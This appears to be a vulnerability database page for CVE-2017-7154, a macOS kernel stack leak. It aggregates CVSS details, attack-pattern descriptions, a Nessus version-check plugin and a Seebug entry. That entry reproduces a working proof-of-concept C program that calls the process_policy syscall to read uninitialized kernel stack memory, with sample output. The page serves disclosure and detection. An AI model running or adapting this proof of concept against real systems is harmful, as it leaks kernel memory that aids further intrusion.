Vulnerabilities > CVE-2017-7154 - Improper Input Validation vulnerability in Apple Iphone OS, mac OS X and Tvos

047910
CVSS 5.6 - MEDIUM
Attack vector
LOCAL
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
NONE
Availability impact
COMPLETE
local
low complexity
apple
CWE-20
nessus
exploit available
NVD
Published: 2017-12-27
Updated: 2019-03-22

Summary

An issue was discovered in certain Apple products. iOS before 11.2 is affected. macOS before 10.13.2 is affected. tvOS before 11.2 is affected. The issue involves the "Kernel" component. It allows local users to bypass intended memory-read restrictions or cause a denial of service (system crash).

Vulnerable Configurations

Part Description Count
OS
Apple
333

Common Weakness Enumeration (CWE)

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Buffer Overflow via Environment Variables
    This attack pattern involves causing a buffer overflow through manipulation of environment variables. Once the attacker finds that they can modify an environment variable, they may try to overflow associated buffers. This attack leverages implicit trust often placed in environment variables.
  • Server Side Include (SSI) Injection
    An attacker can use Server Side Include (SSI) Injection to send code to a web application that then gets executed by the web server. Doing so enables the attacker to achieve similar results to Cross Site Scripting, viz., arbitrary code execution and information disclosure, albeit on a more limited scale, since the SSI directives are nowhere near as powerful as a full-fledged scripting language. Nonetheless, the attacker can conveniently gain access to sensitive files, such as password files, and execute shell commands.
  • Cross Zone Scripting
    An attacker is able to cause a victim to load content into their web-browser that bypasses security zone controls and gain access to increased privileges to execute scripting code or other web objects such as unsigned ActiveX controls or applets. This is a privilege elevation attack targeted at zone-based web-browser security. In a zone-based model, pages belong to one of a set of zones corresponding to the level of privilege assigned to that page. Pages in an untrusted zone would have a lesser level of access to the system and/or be restricted in the types of executable content it was allowed to invoke. In a cross-zone scripting attack, a page that should be assigned to a less privileged zone is granted the privileges of a more trusted zone. This can be accomplished by exploiting bugs in the browser, exploiting incorrect configuration in the zone controls, through a cross-site scripting attack that causes the attackers' content to be treated as coming from a more trusted page, or by leveraging some piece of system functionality that is accessible from both the trusted and less trusted zone. This attack differs from "Restful Privilege Escalation" in that the latter correlates to the inadequate securing of RESTful access methods (such as HTTP DELETE) on the server, while cross-zone scripting attacks the concept of security zones as implemented by a browser.
  • Cross Site Scripting through Log Files
    An attacker may leverage a system weakness where logs are susceptible to log injection to insert scripts into the system's logs. If these logs are later viewed by an administrator through a thin administrative interface and the log data is not properly HTML encoded before being written to the page, the attackers' scripts stored in the log will be executed in the administrative interface with potentially serious consequences. This attack pattern is really a combination of two other attack patterns: log injection and stored cross site scripting.
  • Command Line Execution through SQL Injection
    An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.

Exploit-Db

descriptionmacOS - 'process_policy' Stack Leak Through Uninitialized Field. CVE-2017-7154. Dos exploit for macOS platform
fileexploits/macos/dos/43521.c
idEDB-ID:43521
last seen2018-01-24
modified2018-01-11
platformmacos
port
published2018-01-11
reporterExploit-DB
sourcehttps://www.exploit-db.com/download/43521/
titlemacOS - 'process_policy' Stack Leak Through Uninitialized Field
typedos

Nessus

  • NASL familyMacOS X Local Security Checks
    NASL idMACOS_10_13_2.NASL
    descriptionThe remote host is running a version of Mac OS X that is 10.13.x prior to 10.13.2. It is, therefore, affected by multiple vulnerabilities in the following components : - apache - curl - Directory Utility - IOAcceleratorFamily - IOKit - Intel Graphics Driver - Kernel - Mail - Mail Drafts - OpenSSL - Screen Sharing Server Note that successful exploitation of the most serious issues can result in arbitrary code execution.
    last seen2020-06-01
    modified2020-06-02
    plugin id105080
    published2017-12-07
    reporterThis script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/105080
    titlemacOS 10.13.x < 10.13.2 Multiple Vulnerabilities (Meltdown)
    code
    #
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(105080);
  script_version("1.12");
  script_cvs_date("Date: 2019/06/19 15:17:43");

  script_cve_id(
    "CVE-2017-1000254",
    "CVE-2017-13847",
    "CVE-2017-13848",
    "CVE-2017-13855",
    "CVE-2017-13858",
    "CVE-2017-13860",
    "CVE-2017-13862",
    "CVE-2017-13865",
    "CVE-2017-13867",
    "CVE-2017-13868",
    "CVE-2017-13869",
    "CVE-2017-13871",
    "CVE-2017-13872",
    "CVE-2017-13875",
    "CVE-2017-13876",
    "CVE-2017-13878",
    "CVE-2017-13883",
    "CVE-2017-13886",
    "CVE-2017-13887",
    "CVE-2017-13892",
    "CVE-2017-13904",
    "CVE-2017-13905",
    "CVE-2017-13911",
    "CVE-2017-15422",
    "CVE-2017-3735",
    "CVE-2017-5754",
    "CVE-2017-7151",
    "CVE-2017-7154",
    "CVE-2017-7155",
    "CVE-2017-7158",
    "CVE-2017-7159",
    "CVE-2017-7162",
    "CVE-2017-7163",
    "CVE-2017-7171",
    "CVE-2017-7172",
    "CVE-2017-7173",
    "CVE-2017-9798"
  );
  script_bugtraq_id(
    100515,
    100872,
    101115,
    101981,
    102097,
    102098,
    102099,
    102100,
    102378,
    103134,
    103135
  );
  script_xref(name:"IAVA", value:"2018-A-0019");

  script_name(english:"macOS 10.13.x < 10.13.2 Multiple Vulnerabilities (Meltdown)");
  script_summary(english:"Checks the version of Mac OS X / macOS.");

  script_set_attribute(attribute:"synopsis", value:
"The remote host is missing a macOS update that fixes multiple security
vulnerabilities.");
  script_set_attribute(attribute:"description", value:
"The remote host is running a version of Mac OS X that is 10.13.x
prior to 10.13.2. It is, therefore, affected by multiple
vulnerabilities in the following components :

  - apache
  - curl
  - Directory Utility
  - IOAcceleratorFamily
  - IOKit
  - Intel Graphics Driver
  - Kernel
  - Mail
  - Mail Drafts
  - OpenSSL
  - Screen Sharing Server

Note that successful exploitation of the most serious issues can
result in arbitrary code execution.");
  script_set_attribute(attribute:"see_also", value:"https://support.apple.com/en-us/HT208331");
  script_set_attribute(attribute:"see_also", value:"https://support.apple.com/en-us/HT208394");
  script_set_attribute(attribute:"solution", value:
"Upgrade to macOS version 10.13.2 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:H/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2017-7172");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploited_by_malware", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Mac OS X Root Privilege Escalation');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2017/12/06");
  script_set_attribute(attribute:"patch_publication_date", value:"2017/12/06");
  script_set_attribute(attribute:"plugin_publication_date", value:"2017/12/07");

  script_set_attribute(attribute:"plugin_type", value:"combined");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:apple:mac_os_x");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:apple:macos");
  script_set_attribute(attribute:"stig_severity", value:"I");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_family(english:"MacOS X Local Security Checks");

  script_copyright(english:"This script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("ssh_get_info.nasl", "os_fingerprint.nasl");
  script_require_ports("Host/MacOSX/Version", "Host/OS");

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");

os = get_kb_item("Host/MacOSX/Version");
if (!os)
{
  os = get_kb_item_or_exit("Host/OS");
  if ("Mac OS X" >!< os) audit(AUDIT_OS_NOT, "macOS / Mac OS X");

  c = get_kb_item("Host/OS/Confidence");
  if (c <= 70) exit(1, "Can't determine the host's OS with sufficient confidence.");
}
if (!os) audit(AUDIT_OS_NOT, "macOS / Mac OS X");

matches = pregmatch(pattern:"Mac OS X ([0-9]+(\.[0-9]+)+)", string:os);
if (empty_or_null(matches)) exit(1, "Failed to parse the macOS / Mac OS X version ('" + os + "').");

version = matches[1];
fixed_version = "10.13.2";

if (version !~"^10\.13($|[^0-9])")
  audit(AUDIT_OS_NOT, "macOS 10.13.x");

if (ver_compare(ver:version, fix:'10.13.2', strict:FALSE) == -1)
{
  security_report_v4(
    port:0,
    severity:SECURITY_HOLE,
    extra:
      '\n  Installed version : ' + version +
      '\n  Fixed version     : ' + fixed_version +
      '\n'
  );
}
else audit(AUDIT_INST_VER_NOT_VULN, "macOS / Mac OS X", version);
  • NASL familyMisc.
    NASL idAPPLETV_11_2.NASL
    descriptionAccording to its banner, the version of Apple TV on the remote device is prior to 11.2. It is, therefore, affected by multiple vulnerabilities as described in the HT208327 security advisory. Note that only 4th and 5th generation models are affected by these vulnerabilities.
    last seen2020-06-01
    modified2020-06-02
    plugin id105612
    published2018-01-05
    reporterThis script is Copyright (C) 2018-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/105612
    titleApple TV < 11.2 Multiple Vulnerabilities
  • NASL familyMacOS X Local Security Checks
    NASL idMACOSX_SECUPD2017-005.NASL
    descriptionThe remote host is running Mac OS X 10.11.6 or Mac OS X 10.12.6 and is missing a security update. It is therefore, affected by multiple vulnerabilities affecting the following components : - apache - curl - IOAcceleratorFamily - IOKit - Kernel - OpenSSL - Screen Sharing Server
    last seen2020-06-01
    modified2020-06-02
    plugin id105081
    published2017-12-07
    reporterThis script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/105081
    titlemacOS and Mac OS X Multiple Vulnerabilities (Security Update 2017-002 and 2017-005)

Packetstorm

data sourcehttps://packetstormsecurity.com/files/download/145876/GS20180112171756.txt
idPACKETSTORM:145876
last seen2018-01-13
published2018-01-12
reporterJann Horn
sourcehttps://packetstormsecurity.com/files/145876/macOS-process_policy-Stack-Leak.html
titlemacOS process_policy Stack Leak

Seebug

bulletinFamilyexploit
descriptionThe syscall process_policy(scope=PROC_POLICY_SCOPE_PROCESS, action=PROC_POLICY_ACTION_GET, policy=PROC_POLICY_RESOURCE_USAGE, policy_subtype=PROC_POLICY_RUSAGE_CPU, attrp=<userbuf>, target_pid=0, target_threadid=<ignored>) causes 4 bytes of uninitialized kernel stack memory to be written to userspace. The call graph looks as follows: ``` process_policy handle_cpuuse proc_get_task_ruse_cpu task_get_cpuusage [writes scope=1/2/4/0] [always returns zero] [writes policyp if scope!=0] [always returns zero] copyout ``` If task_get_cpuusage() set `*scope=0` because none of the flags TASK_RUSECPU_FLAGS_PERTHR_LIMIT, TASK_RUSECPU_FLAGS_PROC_LIMIT and TASK_RUSECPU_FLAGS_DEADLINE are set in task->rusage_cpu_flags, proc_get_task_ruse_cpu() does not write anything into `*policyp`, meaning that `cpuattr.ppattr_cpu_attr` in handle_cpuuse() remains uninitialized. task_get_cpuusage() and proc_get_task_ruse_cpu() always return zero, so handle_cpuuse() will copy `cpuattr`, including the unititialized `ppattr_cpu_attr` field, to userspace. Tested on a Macmini7,1 running macOS 10.13 (17A405), Darwin 17.0.0: ``` $ cat test.c #include <stdint.h> #include <stdio.h> #include <inttypes.h> struct proc_policy_cpuusage_attr { uint32_t ppattr_cpu_attr; uint32_t ppattr_cpu_percentage; uint64_t ppattr_cpu_attr_interval; uint64_t ppattr_cpu_attr_deadline; }; void run(void) { int retval; struct proc_policy_cpuusage_attr attrs = {0,0,0,0}; asm volatile( "mov $0x02000143, %%rax\n\t" // process_policy "mov $1, %%rdi\n\t" // PROC_POLICY_SCOPE_PROCESS "mov $11, %%rsi\n\t" // PROC_POLICY_ACTION_GET "mov $4, %%rdx\n\t" // PROC_POLICY_RESOURCE_USAGE "mov $3, %%r10\n\t" // PROC_POLICY_RUSAGE_CPU "mov %[userptr], %%r8\n\t" "mov $0, %%r9\n\t" // PID 0 (self) // target_threadid is unused "syscall\n\t" : //out "=a"(retval) : //in [userptr] "r"(&attrs) : //clobber "cc", "memory", "rdi", "rsi", "rdx", "r10", "r8", "r9" ); printf("retval = %d\n", retval); printf("ppattr_cpu_attr = 0x%"PRIx32"\n", attrs.ppattr_cpu_attr); printf("ppattr_cpu_percentage = 0x%"PRIx32"\n", attrs.ppattr_cpu_percentage); printf("ppattr_cpu_attr_interval = 0x%"PRIx64"\n", attrs.ppattr_cpu_attr_interval); printf("ppattr_cpu_attr_deadline = 0x%"PRIx64"\n", attrs.ppattr_cpu_attr_deadline); } int main(void) { run(); return 0; } $ gcc -Wall -o test test.c $ ./test retval = 0 ppattr_cpu_attr = 0x1a180ccb ppattr_cpu_percentage = 0x0 ppattr_cpu_attr_interval = 0x0 ppattr_cpu_attr_deadline = 0x0 ``` That looks like the lower half of a pointer or so.
idSSV:97093
last seen2018-01-22
modified2018-01-22
published2018-01-22
reporterRoot
titleMacOS process_policy stack leak through uninitialized field(CVE-2017-7154)

References